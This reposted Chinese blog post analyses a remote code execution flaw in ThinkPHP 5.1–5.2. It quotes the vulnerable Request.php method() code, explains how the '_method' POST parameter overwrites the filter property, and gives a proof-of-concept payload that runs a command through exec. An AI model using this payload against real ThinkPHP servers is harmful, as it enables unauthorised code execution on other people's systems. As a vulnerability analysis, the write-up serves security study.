?

Jan 15 2019

【轉載】Thinkphp5.1 ~ 5.2 全版本代碼執行

首頁 » 代碼審計 » 【轉載】Thinkphp5.1 ~ 5.2 全版本代碼執行   

序言

最近爆出了Thinkphp5.0.*全版本代碼執行,其中5.1與5.2全版本在生產環境下下同樣也存在代碼執行


漏洞分析

文件位置:\thinkphp\library\think\Request.php

 /**
     * 當前的請求類型
     * @access public
     * @param  bool $origin  是否獲取原始請求類型
     * @return string
     */ public function method($origin = false) { if ($origin) { // 獲取原始請求類型 return $this->server('REQUEST_METHOD') ?: 'GET'; } elseif (!$this->method) { if (isset($_POST[$this->config['var_method']])) { $this->method = strtoupper($_POST[$this->config['var_method']]); $method = strtolower($this->method); $this->{$method} = $_POST; } elseif ($this->server('HTTP_X_HTTP_METHOD_OVERRIDE')) { $this->method = strtoupper($this->server('HTTP_X_HTTP_METHOD_OVERRIDE')); } else { $this->method = $this->server('REQUEST_METHOD') ?: 'GET'; } } return $this->method; }

其中:

$this->method = strtoupper($_POST[$this->config['var_method']]); $method = strtolower($this->method); $this->{$method} = $_POST;

$method變量是$this->method,其同等于POST的”_method”參數值

然后該處存在一個變量覆蓋

我們可以覆蓋 $filter 屬性值(POC如下)

c=exec&f=calc.exe&&_method=filter&

訪問如下圖所示:


1.png


會爆出一個警告級別的異常,導致程序終止

如何觸發:

如果設置忽略異常提示,如下圖:

2.png

本身項目發布就需要屏蔽異常和錯誤所以這個配置是一個正常的配置

3.png

正文部分到此結束

文章標簽: thinkphp漏洞 thinkphp安全

版權聲明:若無特殊注明,本文皆為( mOon )原創,轉載請保留文章出處。

也許喜歡: «四個linux提權腳本 | 【轉載】ThinkPHP 5.0 * 遠程代碼執行漏洞分析»

你腫么看?

你還可以輸入 250/250 個字

? 微笑 大笑 拽 大哭 親親 流汗 噴血 奸笑 囧 不爽 暈 示愛 害羞 吃驚 驚嘆 愛你 嚇死了 呵呵

評論信息框

這篇文章還沒有收到評論,趕緊來搶沙發吧~

?
?
河北11选5开奖